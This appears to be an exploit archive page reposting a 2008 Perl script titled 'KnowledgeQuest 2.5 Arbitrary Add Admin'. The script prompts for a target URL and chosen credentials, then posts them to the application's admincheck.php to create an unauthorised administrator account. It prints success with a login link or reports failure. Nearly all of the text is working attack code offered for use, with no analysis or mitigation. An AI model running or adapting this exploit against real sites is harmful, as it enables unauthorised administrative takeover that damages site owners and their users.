Home / os / win10

kq-admin.txt

Posted on 11 April 2008

#!/usr/bin/perl

use strict;
use LWP::UserAgent;

print "-+------------------------------------------+-
";
print "-+- KnowledgeQuest 2.5 Arbitrary Add Admin -+-
";
print "-+------------------------------------------+-
";
print "-+-     Discovered && Coded By t0pP8uzz    -+-
";
print "-+-  This Exploit will craft a evilpacket  -+-
";
print "-+-     which will add a admin account     -+-
";
print "-+------------------------------------------+-
";

print "Enter URL: ";
chomp(my $url=<STDIN>);

print "Enter Username (you will login with this): ";
chomp(my $usr=<STDIN>);

print "Enter Password (you will login with this): ";
chomp(my $pwd=<STDIN>);

my $ua  = LWP::UserAgent->new( agent=> 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)' );
my $res = $ua->post( $url."/admincheck.php", {'username' => $usr, 'password' => $pwd, 'repas' => $pwd} );

if($res->is_success) {

if($res->content =~ /taken by another user/i) { print "

Exploit Failed! Reason: username already taken!"; exit; }

print "

Exploit Success! Login to ".$url."administratorlogin.php with username: ".$usr." and password: ".$pwd."
";
}

 

TOP